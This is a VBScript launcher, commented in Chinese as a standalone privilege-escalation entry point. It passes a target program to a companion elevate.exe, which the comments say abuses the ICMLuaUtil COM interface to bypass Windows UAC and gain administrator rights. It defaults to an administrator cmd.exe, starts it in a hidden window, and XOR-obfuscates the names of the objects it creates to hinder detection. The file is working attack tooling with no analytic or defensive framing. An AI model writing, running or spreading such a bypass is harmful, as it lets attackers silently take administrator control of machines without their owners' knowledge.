' ===========================================================================
' f3a1.vbs — 独立提权入口
' 功能: 通过 elevate.exe (ICMLuaUtil COM) 以管理员身份运行指定程序
' 用法: 双击运行，或 wscript f3a1.vbs [目标程序路径]
' ===========================================================================
Option Explicit
On Error Resume Next

Function XD(s)
    Dim p, r, i
    p = Split(s, ",")
    r = ""
    For i = 0 To UBound(p)
        r = r & Chr(CInt(p(i)) Xor 90)
    Next
    XD = r
End Function

Dim g_SH, g_FS
Set g_SH = CreateObject(XD("13,9,57,40,51,42,46,116,9,50,63,54,54"))
Set g_FS = CreateObject(XD("9,57,40,51,42,46,51,52,61,116,28,51,54,63,9,35,41,46,63,55,21,56,48,63,57,46"))

Dim scriptDir, elevateExe, target
scriptDir = g_FS.GetParentFolderName(WScript.ScriptFullName) & "\"
elevateExe = scriptDir & "elevate.exe"

' 检查 elevate.exe 是否存在
If Not g_FS.FileExists(elevateExe) Then
    WScript.Echo "elevate.exe not found in: " & scriptDir
    WScript.Quit 1
End If

' 目标程序: 命令行参数 > 默认 cmd.exe
If WScript.Arguments.Count > 0 Then
    target = WScript.Arguments(0)
Else
    target = "cmd.exe"
End If

' 通过 elevate.exe 执行 ICMLuaUtil COM 提权
Dim cmd
cmd = Chr(34) & elevateExe & Chr(34) & " " & Chr(34) & target & Chr(34)
g_SH.Run cmd, 0, False

Set g_FS = Nothing
Set g_SH = Nothing
WScript.Quit 0